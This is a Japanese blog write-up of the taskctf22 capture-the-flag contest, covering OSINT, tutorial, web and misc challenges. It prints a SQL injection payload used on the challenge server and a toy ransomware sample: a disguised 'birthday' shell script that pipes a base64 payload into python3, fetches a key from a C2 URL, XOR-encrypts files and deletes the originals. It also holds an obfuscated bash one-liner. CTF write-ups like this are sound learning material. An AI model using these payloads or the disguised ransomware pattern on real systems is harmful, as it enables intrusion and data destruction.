5
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

taskctf22参加日記

Last updated at Posted at 2022-12-03

taskctf お誕生日おめでとうございます.

全完者がいっぱいいる中沼って全完できそうになかったので,23時ごろから途中であきらめてwriteupを書きました.楽しかったです!

image.png

解いた問題たち

Challenges Category Value Time
welcome osint 100 December 3rd, 1:22:56 AM
submit_flag tutorial 1 December 3rd, 1:23:04 AM
just_google_it tutorial 10 December 3rd, 1:24:54 AM
try_python tutorial 10 December 3rd, 1:32:02 AM
ramen osint 100 December 3rd, 1:42:23 AM
build_docker_environment tutorial 10 December 3rd, 1:46:09 AM
kofun osint 356 December 3rd, 1:54:49 AM
ransomware misc 404 December 3rd, 3:34:16 AM
first web 469 December 3rd, 5:13:32 AM
douro osint 457 December 3rd, 2:32:07 PM

この記事は東京高専プロコンゼミ① Advent Calendar 2022
4日目のために書かれた記事です.ぜひほかの記事もご覧ください.

tutorial

submit_flag

問題文
Flagを提出してみましょう!taskctf{th1s_1s_f14g}

問題文のflagを提出するだけ.

just_google_it

warmup
分からないことがあれば、自分で調べてみましょう!
添付ファイルの文字列からFlagを取得してください!
添付ファイル: base64_encoded.txt

base64でエンコードされた文字が渡されるのでCyberChef
でbase64デコードするとHello!という文字列の中にフラグが隠れていた.
taskctf{Y0u_n0w_know_base64!}

try_python

warmup
Pythonはインタプリタ型のプログラミング言語です。計算やファイルの読み書き、ネットワーク操作などを簡単に実行できるため、CTFではよく利用されます。
Pythonを使って配布ファイルに書かれた数字を全て足してみましょう! Flagは taskctf{ファイルに書かれた数の合計} です。
添付ファイル: numbers.txt

大量の数字が書かれたファイルが渡されるので,pythonなりなんなりで合計値を求めて終わり.

solver.py
sum=0
with open("./numbers.txt") as f:
    for line in f:
        for s in line.split():
            sum+=int(s)

print(sum)

taskctf{250000}

build_docker_environment

warmup
DockerとはOSレベルの仮想化技術です。簡単にいうと、どのPCでも同じ環境をコマンド1つで作成できるようになります。これにより、皆さんのPC上でもデバッグを行うことができます。
配布ファイルに含まれるapp/app.pyのコメントを外してDockerコンテナを起動し、Flagを取得してみましょう!
添付ファイル: file.zip

書いてあるようにapp/app.pyのコメントアウトを外して

docker-compose.yamlがある場所で

docker-compose up

したのちhttp://localhost:31777にアクセスするとflagが表示されていた.
image.png

taskctf{taskctf{D1d_y0u_run_d0cker_c0nta1ner?}}

OSINT

たのしいOSINT
OSINTは与えられた情報を調査するやつです.

welcome

問題文
2019年のtaskctfのwelcome問題のFlagは何でしたっけ?

ググるとst98さんのwriteupにwelcomeのflagがあった.

ramen

easy
このラーメン屋の名前は何でしょう?
正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。
添付ファイル: ramen.jpg

ramen.jpg

上の画像のラーメン屋を知りたい..困ったときの神の目GooleLens

image.png

すごい.1行2列の画像のタンブラーが添付ファイルのものと似ているためたぶんこれ.

提出してみるとCorrectだった.

taskctf{蝋燭屋}

kofun

medium
作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました... もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。
添付ファイル: kofun.jpeg

kofun.jpg

問題文より作問者task4233さんのツイートをあさる.するとこんなtweetがあった.

二枚目の画像をまたもやGoogleLensに通す.
結果
image.png

一番目のものが似ているので,これをググる.
GoogleMap
image.png
この古墳のどれかだと思われる.とりあえずやっていっていくと.一番名前らしい名前を持っている上福田岩屋古墳だった.

taskctf{上福田岩屋古墳}

douro

medium
この写真が撮られた場所の緯度と経度を教えてください!
フラグの形式は taskctf{緯度_経度} です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。 例えば、 皇居の入口が答えなら taskctf{35.682_139.762}が答えになります。
douro.jpeg
douro.jpg

とりあえずGoogleLens.しかしそれらしいのは出てこなかった.ので奥の看板の文字を調べる.
image.png

Culver PGoogleMapで調べていると運よくカルバー・プラザという施設が検索候補に出てきた
image.png
周辺を探索するとそれらしいところが見つかった.
image.png

taskctf{33.693_-117.798}

これのフラグの形式を間違えてぬまったが無事正解できた.

web

難易度warmuprobotsmediumfirstの2題問題があったが私はweb雑魚なのでmediumのほうしか解けなかった...悲しい

first

medium
運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!
http://34.82.208.2:31555/
添付ファイル: file.zip

image.png

app.py
import os
import sqlite3
import traceback
import random
import io
import sys
import time
from flask import Flask, abort, request, render_template
from uuid6 import uuid7
from faker import Factory

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

app = Flask(__name__)

# ready user and post data
fake = Factory.create('ja_JP')
db_name = "first.db"

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "not found")

# NOTE: This handler is not unavailable
# @app.route("/register", methods=["POST"])
# def register_post():
#     data = request.json
#     c = sqlite3.connect(db_name)
#     c.execute(f"INSERT INTO users (name, id) VALUES ({data['name']}, {str(uuid7())})")
#     c.commit()
#     c.close()

class Index_get_response:
    def __init__(self, response_from_db: tuple) -> None:
        if response_from_db is None or len(response_from_db) != 3:
            raise TypeError('response_from_db must be tuple whose size is 3.')
        id, user_name, body = response_from_db
        if type(id) != int or type(user_name) != str or type(body) != str:
            raise TypeError('response_from_db must be (int, str, str) tuple.')
        self.id = id
        self.user_name = user_name
        self.body = body

@app.route("/", methods=["GET"])
def index_get():
    q = ''
    if request.args.get('q') is not None:
        q = request.args.get('q')

    results = None
    c = sqlite3.connect(db_name)
    try:
        cur = c.cursor()
        cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
        results = cur.fetchall()
    except Exception as e:
        traceback.print_exc()
        return f'error: {e}', 500
    finally:
        c.close()

    results_resp = [Index_get_response(result) for result in results]
    return render_template('index.html', results=results_resp)

if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31555)

添付ファイルのappを読むと明らかなSQL injectionが存在する.

cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")

よって検索欄に

'OR posts.user_name != users.name ORDER BY users.id--

を入れることで,users.id順に並び変えたものを表示させる.
image.png

わてはSQLを知らないのでここからがゴリ押し.

image.png
適当なファイルに入れておく.

その後以下のコマンドで3行につき1行抽出し,被っている行を削除し適当なファイルに入れます.

awk 'NR%3==1' postlist.txt |uniq>a.txt

image.png

この100行目の人がフラグです.

image.png

taskctf{Satomi_Kato}

ユーザーが全員一回以上Postしているという仮定の下の解法でした.(ほかの方はunion selectとか使ってきれいにやっていた)

misc

miscはその他の分野,全部手出したけど解けたのは一番簡単なransomwareだけだった.

ransomware

easy
友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?
添付ファイル:files.zip

file.zipを展開すると

hbd.sh
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3

と暗号化されたファイル

taskctf_flag.txt.encrypted
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦

が入っていた.とりあえずbase64でデコードすると

#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)

        # delete the raw file
        os.remove(file)

    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()

こんなコードが出てきた.
ファイルを読み込んであるkeyで一文字ずつxorして暗号化しているようです.
keyは外部の鯖からとってきているようですがこの鯖は動いていません.(仕様)なので別のアプローチでkeyを入手する必要があります.

ここで重要なのが暗号化されたファイルはフラグだということです.
フラグの形式は必ずtaskctf{}なので暗号化された最初の文字'䔘'フラグの最初の文字'txorkeyが手に入りそうです.

この考えでsolverを書くと以下のようになりました.

solver.py
file="taskctf_flag.txt"
d=""

with open(f"{file}.encrypted", 'r') as f:
    e=f.read()
    key=ord(e[0])^ord('t')
    for s in e:
        d+=chr(ord(s)^key)

print(d)

taskctf{x0r_1s_e4sy_70_1mplemen7}

まあ総あたりでkey探したほうが確実そう.

以上

shellgeiは頑張って自分の環境のbash(docker上ではない)で動くやつを以下のページを参考に作ったのだがwebアプリ上で動かなかった.悲しい(たぶんwebアプリ上で一回ファイルに保存しているから動かなかった.ちゃんと渡されたファイルを使おう!!)

cat flag.txt
${!#}<<<${!#}\<\<\<\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${#}$((${##}+${##}+${##}+${##}))$((${#}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}+${##}+${##}+${##}))\'.\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}+${##}))$((${#}))\'\$\'\\${##}$((${##}+${##}+${##}+${##}+${##}+${##}))$((${##}+${##}+${##}+${##}))\'

うごいた?

できそうで全完できなかったのが悲しい.

まあ楽しかったのでOKです!!誕生日おめでとうございました.

image.png

この記事は東京高専プロコンゼミ① Advent Calendar 2022
4日目のために書かれた記事です.ぜひほかの記事もご覧ください.

5
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?